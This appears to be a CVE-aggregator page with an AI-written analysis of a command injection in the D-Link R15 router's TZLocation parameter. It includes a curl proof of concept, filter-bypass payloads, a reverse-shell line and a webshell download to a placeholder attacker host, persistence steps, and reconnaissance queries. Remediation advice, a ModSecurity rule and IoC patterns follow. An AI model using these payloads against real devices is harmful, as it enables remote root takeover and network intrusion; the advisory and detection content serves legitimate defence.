CVE Professor
/
All CVEs
CVE-2026-138416

CVE-2026-138416 — D-Link R15 (1.22.01) — CWE-77 · CWE-74

CRITICAL CVSS 9.9 CVE.org

A vulnerability was found in D-Link R15 1.22.01. This vulnerability affects the function save_CSID_SetDeviceSettings of the file /bin/httpd of the component DHMAPI. Performing a manipulation of the argument TZLocation results in command injection. It is possible to initiate the attack remotely. The exploit has been made public and could be used.

A vulnerability was found in D-Link R15 1.22.01. This vulnerability affects the function save_CSID_SetDeviceSettings of the file /bin/httpd of the component DHMAPI. Performing a manipulation of the argument TZLocation results in command injection. It is possible to initiate the attack remotely. The exploit has been made public and could be used.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. Low PR:L
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Command Injection flaw (CWE-77, a specific instance of CWE-74) located in the DHMAPI component of the D-Link R15 router, specifically within the save_CSID_SetDeviceSettings function of the /bin/httpd binary.

Technical Flaw Analysis:
1. Missing Input Sanitization: The application accepts user input via the TZLocation argument. It fails to sanitize or validate this input before passing it to a system shell command (likely system(), popen(), or exec()).
2. Shell Metacharacter Interpretation: Because the input is passed to a shell interpreter, special characters such as ;, |, &, $(), or backticks allow the attacker to break out of the intended command context and execute arbitrary OS commands.
3. Privilege Context: The /bin/httpd process on embedded Linux devices like the D-Link R15 typically runs with root privileges. Therefore, successful injection results in Root RCE.
4. Authentication Requirement: The CVSS vector PR:L (Privileges Required: Low) indicates that the attacker does not need to be unauthenticated. They require a valid, low-privilege user account (e.g., a standard user or guest account) to access the save_CSID_SetDeviceSettings endpoint. This is common in IoT devices where a default or easily guessable user account exists, or where an attacker has already compromised a low-privilege session.

⚡ Attack Chain

1. Discovery & Reconnaissance

  • Fingerprinting: The attacker scans the target network for devices responding to HTTP/HTTPS on ports 80/443.
  • Version Identification: The attacker checks the Server header or the login page HTML for "D-Link R15" and version "1.22.01".
  • Credential Acquisition: Since PR:L is required, the attacker must have valid low-privilege credentials. This could be:
  • * Default credentials (if not changed). * Credentials obtained via a separate vulnerability (e.g., weak password policy). * A compromised user account.

    2. Exploitation

    The attacker sends an HTTP POST request to the endpoint that triggers save_CSID_SetDeviceSettings. While the exact URI is not explicitly stated in the CVE description, it is likely part of the device settings configuration API (e.g., /cgi-bin/setDeviceSettings or similar). The TZLocation parameter is the injection point.

    Illustrative PoC (curl):
    Note: The exact endpoint path is illustrative. The payload structure is based on the described parameter TZLocation and CWE-77 mechanics.

    # Step 1: Authenticate to obtain a session cookie (assuming default/low-priv creds)
    curl -c cookies.txt -d "username=lowpriv_user&password=weakpass" http://<target_ip>/login
    
    # Step 2: Send the malicious request to the settings endpoint
    # The payload uses a semicolon (;) to terminate the intended command and execute 'id'
    # In a real attack, 'id' would be replaced with a reverse shell or webshell upload.
    curl -b cookies.txt -X POST "http://<target_ip>/cgi-bin/save_CSID_SetDeviceSettings" \
      -d "TZLocation=UTC;id"

    Payload Variations for Bypassing Filters:

  • TZLocation=UTC%0aid (Newline injection)

  • TZLocation=UTC%26%26id (Logical AND)

  • TZLocation=UTC$(id) (Command substitution)
  • 3. Post-Exploitation

    Once command execution is confirmed (e.g., by observing the output of id in the HTTP response or via blind injection techniques), the attacker achieves Root RCE.
  • Reverse Shell:
  • TZLocation=UTC;bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1
  • Webshell Upload:
  • TZLocation=UTC;wget http://<attacker_ip>/shell.php -O /www/shell.php
  • Persistence:
  • * Modify /etc/crontab to re-execute the payload. * Add a new user to /etc/passwd with root privileges. * Modify the startup scripts in /etc/init.d/.

    🌍 Real World Impact

  • Confidentiality (High): The attacker gains root access, allowing them to read all files, including:
  • * Router configuration files (Wi-Fi passwords, PPPoE credentials). * User data stored on the device. * Network traffic (if the router performs NAT and has logging enabled).
  • Integrity (High): The attacker can:
  • * Modify DNS settings to redirect traffic to malicious servers (DNS hijacking). * Change firewall rules to allow inbound connections to internal hosts. * Install persistent backdoors.
  • Availability (High): The attacker can:
  • * Reboot the device. * Delete critical system files. * Overload the device with processes to cause a DoS.
  • Scope (Changed): The CVSS vector S:C (Scope: Changed) indicates that the vulnerable component (the web server) is not the only component affected. The compromise of the router (root access) allows the attacker to impact other components, such as the internal network, by pivoting from the compromised router.
  • 🛡️ Remediation & Mitigation

    1. Patching

  • Upgrade: D-Link has likely released a firmware update that addresses this vulnerability. Users must upgrade to the latest firmware version for the D-Link R15.
  • Check D-Link Security Advisories: Look for a specific advisory for CVE-2026-138416 to confirm the fixed version.
  • 2. Workarounds (If Patching is Not Immediately Possible)

  • Restrict Access:
  • * Disable remote management (WAN access) to the router's web interface. * Restrict access to the router's admin interface to a specific, trusted internal IP range using firewall rules.
  • Disable Vulnerable Functionality:
  • * If possible, disable the "Time Zone" or "Device Settings" configuration feature via the router's admin interface (if it can be disabled without breaking core functionality).
  • WAF/ModSecurity Rule:
  • * Implement a WAF rule to block common command injection characters in the TZLocation parameter. * Example ModSecurity Rule:
    SecRule ARGS:TZLocation "@rx [;&|`$]" "id:100001,phase:2,deny,status:403,msg:'Command Injection Detected in TZLocation'"

    * Note: This is a mitigation, not a fix. Sophisticated attackers may bypass simple regex filters.

    3. Detection

  • Web Server Logs: Monitor /var/log/httpd/access_log or equivalent for POST requests to the settings endpoint with suspicious TZLocation values.
  • IoC Pattern: TZLocation=.[;&|$]`
  • System Logs: Monitor /var/log/syslog or /var/log/messages for unexpected processes spawned by the httpd process.
  • * IoC Pattern: httpd spawning bash, sh, wget, curl, or nc.
  • Network Traffic: Monitor for unexpected outbound connections from the router to external IPs, especially on non-standard ports.
  • ⚠️ Urgency

  • CVSS Score: 9.9 (Critical)
  • Exploit Availability: The CVE description states, "The exploit has been made public and could be used." This significantly increases the urgency.
  • CISA KEV Status: No (as of the provided data). However, the public availability of the exploit makes it a high-priority target for opportunistic attackers.
  • Patching Priority: IMMEDIATE.
* Given the critical severity, public exploit availability, and the potential for full network compromise (due to the router's position in the network), this vulnerability should be treated as an emergency. * If patching is not possible within 24-48 hours, the router should be isolated from the internet and internal network segments that are not critical.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-74
Affected Products (1)
D-Link:R15 (1.22.01)
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
8.7
CVE-2026-144572
@libp2p/kad-dht through 16.4.11 contains a record validation bypass in verifyRecord that allows unauthenticate
8.7
CVE-2026-137408
In Eclipse Yasson versions 1.0 through 1.0.11, 2.0 through 2.0.4, and 3.0 through 3.0.6, the deserializers for
8.7
CVE-2026-145021
Zebra before 7.1.0 contains an uncontrolled resource consumption vulnerability that allows unauthenticated cli